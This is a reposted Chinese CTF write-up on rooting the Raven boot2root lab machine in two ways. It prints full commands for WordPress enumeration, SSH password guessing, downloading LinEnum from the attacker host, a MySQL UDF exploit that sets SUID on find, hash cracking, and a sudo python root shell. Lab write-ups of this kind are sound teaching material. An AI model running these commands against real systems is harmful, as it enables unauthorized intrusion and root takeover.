靶机渗透之Raven实战

栏目: 数据库 · 发布时间: 5年前

内容简介:大家好,今天的CTF挑战靶机是Raven,这是一个boot2root的靶机环境,有两种方法可以提权到root,本文我们将会对这两种方法进行演示。·端口扫描和IP发现· 访问80端口,发现cms是WordPress

大家好,今天的CTF挑战靶机是Raven,这是一个boot2root的靶机环境,有两种方法可以提权到root,本文我们将会对这两种方法进行演示。

目录(方法一)

·端口扫描和IP发现

· 访问80端口,发现cms是WordPress

· 使用wpscan扫描网站发现两个用户

· 暴力破解22端口

· 使用LinEnum脚本枚举活动进程

· 发现运行MySQL

· 从wp-config.php文件获取数据库用户名和密码

· 使用 MySQL 创建一个UDF(用户自定义函数)动态库

· 将UDF exp编译成共享库程序

· 在靶机中运行UDF共享库程序

· 设置粘滞位为”find”

· 获取root权限

· 读取flags

目录(方法二)

· 前面7步跟方法一一样获取shell,访问MySQL。

·在MySQL中,发现所有数据库和表

· 读取WordPress数据库中的wp_users表

·从wp_users表中获取hash值

· 破解hash,获取其他用户的shell

·发现 Python 不需要root权限也可以运行

· 使用Python生成root tty

· 读取flags

两种思路都介绍完了,现在就开始实战了。

方法一

使用netdiscover发现网络中存活的主机并获取该靶机的IP地址,在本文中,靶机IP是192.168.1.102.

靶机渗透之Raven实战

使用nmap扫描靶机,发现开放了22,80和111端口。

靶机渗透之Raven实战

访问一下80端口,发现了下图中Raven安全的网址。

靶机渗透之Raven实战

在网站右上角,发现有个”blog”标签,访问一下就看到如下页面,这很显然是一个WordPress CMS。

靶机渗透之Raven实战

既然是WordPress,那就先wpscan走一波,命令如下:

wpscan --url http://192.168.1.102/wordpress/ --wp-content-dir -ep -et -eu

靶机渗透之Raven实战

扫描结果中返回了靶机中的两个用户Michael和Steven。

靶机渗透之Raven实战

现在,在80端口上好像无法进一步突破了,所以我们转向22端口。

我们可以尝试一下,用户名和密码使用相同的单词,在这里我们就使用michael,密码也是michael,没想到竟然上去了。然后我们切换到/tmp目录下,然后需要上传LinEnum脚本,这个脚本可以枚举很多基本和高级的 Linux 详细信息。

这个脚本在我们攻击机的根目录下,我们可以在靶机上使用wget来下载,我的攻击机的IP地址是192.168.1.109

ssh <a href="/cdn-cgi/l/email-protection" data-cfemail="afc2c6ccc7cecac3ef9e969d819e9997819e819e9f9d">[email protected]</a>
cd /tmp
wget http://192.168.1.109/LinEnum.sh
chmod 777 LinEnum.sh

靶机渗透之Raven实战

下载后,我们修改脚本的执行权限,然后执行脚本,发现靶机上跑着MySQL服务(3306端口开放)。

靶机渗透之Raven实战

我们发现了MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞,该漏洞可以执行远程代码并提权到root。

更多信息请参考:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

靶机渗透之Raven实战

切换当前目录到/var/www/html/wordpress目录下,并查找wp-config文件,这个文件会存储着MySQL数据库的密码。

靶机渗透之Raven实战

果不其然,密码找到了。

[email protected]

靶机渗透之Raven实战

接下来,我们搜索一下UDF动态库exp,在expolit-db中该exp是1518.c

https://www.exploit-db.com/exploits/1518/

靶机渗透之Raven实战

先将原始的 C语言 代码编译成.so文件,然后再上传到靶机中运行来利用这个MySQL漏洞。

第一步是编译。

searchsploit –m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

靶机渗透之Raven实战

编译完成后,将该文件放在本地服务器的根目录下,然后在靶机上切换到/tmp目录下,再使用wget来下载这个.so文件,因为/tmp目录是全局可读可写的。

searchsploit –m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
<输入密码>

获取到MySQL shell之后,我们开始利用刚才发现的漏洞。

use mysql;

现在,我们创建一个表叫“foo”,在这个表中插入1518.so文件的链接路径,也就是/tmp/1518.so

我们再将相同的文件写入到/usr/lib/mysql/plugin目录中(因为它存在漏洞)。

接下来是最重要的一步,我们创建一个UDF函数,do_system,它会调用实现该函数的代码。

因此,我们调用代码“chmod u+s /usr/bin/find”来设置粘滞位为“find”

create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

靶机渗透之Raven实战

现在,我们切回到/tmp目录,然后使用“find”程序来执行命令。

touch raj
find raj –exec "whoami" \;
find raj –exec "/bin/sh" \;
cd /root
ls
cat flag4.txt

靶机渗透之Raven实战

不过,我们的任务是要找到所有的flags,我们可以使用下面这个命令:

find / -name "flag*.txt"

靶机渗透之Raven实战

方法二

获取MySQL shell的方法跟方法一一样,接下来使用第二种方法来提权。

查看所有数据库,然后查看数据库WordPress中wp-users表中的所有数据,命令如下:

show databases;
use wordpress;
show tables;
select * from wp_users;

靶机渗透之Raven实战

我们发现了两个用户和其密码hash值,不过Michael用户的密码我们已经知道了,所以这里我们只需要破解一下Steven的密码,我们可以使用John the ripper这款 工具 来破解,把hash值粘贴到一个txt文件中,命名为hash,然后就可以直接破解了,如图:

靶机渗透之Raven实战

既然知道了密码,我们就可以登录到Steven的 shell 的,运行一下sudo -l命令,发现Python不需要root权限就可以执行,那我们就可以直接利用Python来生成一个root shell了,输入id查看即可,命令如下:

su steven
sudo –l
sudo python –c 'import pty;pty.spawn("/bin/bash")'
id

靶机渗透之Raven实战

好了,两种获取root的方法就是这样,本文到此结束,希望大家所有收获!


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

迎接互联网的明天

迎接互联网的明天

邹静 / 电子工业 / 2011-6 / 55.00元

《迎接互联网的明天-玩转3D Web(附盘)》,全书共5章,第1章主要阐述了国内外空前繁荣的3D互联网技术领域,以及这些领域透射出来的潜在商机;第2章主要用当下比较流行的Flash编程语言ActionScript 3,来向大家介绍面向对象编程语言的思想概念,以及一些3D渲染技术的入门知识;第3章注重建模知识的运用,主要运用WireFusion和3ds Max来制作3D网页;第4章主要介绍3D游戏编......一起来看看 《迎接互联网的明天》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

随机密码生成器
随机密码生成器

多种字符组合密码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器